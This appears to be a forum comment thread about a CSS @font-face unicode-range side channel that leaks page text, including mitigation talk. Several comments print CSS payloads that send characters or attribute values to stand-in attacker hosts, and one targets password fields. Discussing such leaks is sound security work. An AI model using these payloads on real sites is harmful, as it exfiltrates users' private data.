7 ms·
CSS Based Attack fontface
- nadaviv 11y agoThe issue on Chrome's bug tracker [0] that he's linking to appears to return a 403 error. Perhaps they changed their mind on WontFixing it? [0] https://code.google.com/p/chromium/issues/detail?id=543078 https://code.google.com/p/chromium/issues/detail?id=543078
- lepunk 11y agoNeat, but don't think its exploitable in reality, but neat indeed. Did a bit of play around with it and it does seem to work on input fields but fortunately not on password type fields (which is logical, considering the browser is not rendering the actual characters for password fields) http://lepunk.co.uk/font_face.html http://lepunk.co.uk/font_face.html
- blowski 11y ago> considering the browser is not rendering the actual characters for password fields Unless you've got a 'show password' checkbox (as recommended by Jakob Nielsen - http://www.nngroup.com/articles/stop-password-masking/ http://www.nngroup.com/articles/stop-password-masking/).
- seszett 11y agoI know of one community website that allows users to use custom third-party CSS and that shows a user's email address in the settings page, so I think you could at least leak email addresses through this (you can target a single input with the fake font, and email addresses aren't random, so the caveat of repeated characters not showing isn't that problematic). This site doesn't allow password unmasking, but if it did that would also make it quite vulnerable on this front.
- gorhill 11y agoI can't make this work on my side, both Chromium and Firefox block the requests for the font resources from l0.cm (because CORS policy): Font from origin 'http://l0.cm' has been blocked from loading by Cross-Origin Resource Sharing policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://lepunk.co.uk' is therefore not allowed access.
- lepunk 11y agoi think thats just a matter of adding this header on the server side Access-Control-Allow-Origin:
- Buge 11y agoThat warning just stops the font from being visible to the victim. I'm pretty sure the requests still go to the attacker.
- gorhill 11y ago> I'm pretty sure the requests still go to the attacker You are right, they do, it's just that the returned data is not allowed to be seen/used by the page -- the "l0.cm" server still got the information.
- malka 11y agoExcept for Edge, which has an "eye" symbol to show password fields content. idk if that makes edge vulnerable to this on password fields though. edit : I read below that Edge does not expose the password through this vulnerability.
- hodwik 11y agoWhat would the attack vector be for something like this?
- konceptz 11y agoSame as most html injection attacks. I haven't tested as I'm on the way to work, but I will try to craft the attack as follows: 1: discover html attribute vulnerable to this. 2: craft payload as a link, for Dom, reflected or stored. 3: watch them type characters as rules are triggered. (Is this possible to use as a key logger?!) So that's general, then more specifically As an attacker I would probably trigger a password lock of the target where the user has to enter security questions. Then gather that information. Another reason to hate security questions. Remediation: Output encode in the proper context! This most certainly qualifies as the exact reason why your fancy blacklist (or whitelist) filter set is not the proper mitigation for xss. In the above scenario, The attacker is injecting rules as inline css in the context of an html attribute, so then output encode in that context. Also I need to check if it can bypass the CSP in any way, though I doubt it. Sorry for the organization or this post, as I mentioned im on the train.
- jo-han 11y agoNice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example: @font-face { font-family: poc; src: url(http://attacker.example.com/?ff); /* ff */ unicode-range: U+FB00; } #sensitive-information { font-family: poc; font-variant-ligatures: common-ligatures; } (edit: improved formatting/explanation)
- khaled 11y agoI don’t see how this would work. When the browser renders an “ff” ligature, it does not do so by converting every “ff” in the input into U+FB00, as such it will never use this font unless the user input actually contains U+FB00 which is unlikely.
- jo-han 11y agoKhaled, you're right - it doesn't work. The characters are not substituted. I made a quick proof of concept, but it triggered for the wrong reasons. Bummer.
- DangerousPie 11y agoPresumably a possible target for this would be reddit, where users can upload custom CSS to style their subreddits? You could at least get the username, subscribed subreddits, and some debug info (such as the country code) this way...
- vuchr 11y agoThey don't let you use urls. To use images in their custom stylesheet you have to upload it to reddit, then use a special code or something, that gets replaced with the image url.
- deanclatworthy 11y agoI have to admit, I'm a bit confused about what is actually happening here. Can someone ELI5?
- oneeyedpigeon 11y ago@font-face { font-family: poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range: U+0041; } #sensitive-information { font-family: poc; } means "use the font-file 'http://attacker.example.com/?A' http://attacker.example.com/?A' to format the text of element '#sensitive-information' but only to format the letter (glyph?) A". Presumably, the browser only bothers sending the request if it needs to, so my server at attacker.example.com can look out for ?A request to determine if the referer contains an element with that text. As stated, the attack vector will be limited, but this could certainly leak some information if you can get a site to host that CSS.
- Hamcha 11y agoI'm not really experienced in @font-face, but I think it's specifing a different webfont for single unicode characters (using the range attribute). Chrome will then try to fetch the font from the many URLs, making an HTTP request for every character in the field (say "Hello" will try to fetch ?H, ?e, ?l, ?o) in the order it finds them. If you're on the other side (ie. the server serving the font) you can rebuild the original string by seeing which requests have been made and in which order. Haven't tried it, but I doubt it'll try to fetch the same letter twice, so most of the time the string wouldn't be complete (but again, I haven't tried so I don't know for sure).
- konceptz 11y agoThis may not work exactly as planned if your target string is expected to be long enough. You can see from his example that the fetching takes place out of order, as expected from asynchronous calls.
- deleted 11y ago[deleted]
- jasonkeene 11y agoThis can give you the characters but not their ordering or frequency. Still, it's a nice information leak. Yet another reason to disable custom fonts.
- tlrobinson 11y agoWhat are the other reasons?
- dictum 11y ago> Yet another reason to disable custom fonts https://news.ycombinator.com/item?id=10492028 https://news.ycombinator.com/item?id=10492028
- mkagenius 11y ago8^8 << 62^8 - getting the order is pretty trivial after that high jump.
- mikegerwitz 11y agoThis is another attack that is also preventable using NoScript, which blocks web fonts. Unless you trust the site.
- TACIXAT 11y agoMight be useful in conjunction with a path-relative stylesheet include. http://blog.portswigger.net/2015/02/prssi.html http://blog.portswigger.net/2015/02/prssi.html
- d4n3 11y agoyou could combine this with ::first-letter and custom selectors for each item of interest to get more specific data from targeted page elements... If there was a way to target n-th letter in css, you could also get the full plaintext of an element with a huge number of font-face / selector combinations
- Mimick 11y agoAnother interesting way of getting attribute values is using... [value*=a] { background-image: url('attacker.org/lolz.png?a'); } [value*=b] { background-image: url('attacker.org/lolz.png?b'); } It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing... Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.
- d4n3 11y agoyou could probably combine this with the font-face trick to target different letters
- wbeckler 11y agoCould this be used within email messages? I know that some CSS is allowed in emails.
- jcranmer 11y agoThe short answer is probably not, for the simple reason that CSS and HTML support in email is generally pretty poor. Most webmail clients rely on having to rewrite CSS (for obvious reasons), which means that properties tend to be on a whitelist rather than a blacklist, and I think @font-face is usually not on that list. For many clients, there is also hopefully remote resource load prevention that prevents it from working.
- gorhill 11y agoWhen I try the proofs of concept in Firefox 41, I see all font requests being done at once at page load time, regardless of whether the font resource is used or not. This actually foils the exploit. I suppose this is the way to mitigate the issue, to download unconditionally all the font resources for which the `unicode-range` is smaller than a minimum number of characters?
- khaled 11y agoThat is because release builds of Firefox does not support unicode-range, it just downloads all the fonts. But for unicode-range to be really supported, it must only download the fonts for ranges used in the page, as this feature is usually used to split huge fonts (like CJK ones) and let the browser only downloads what is really needed.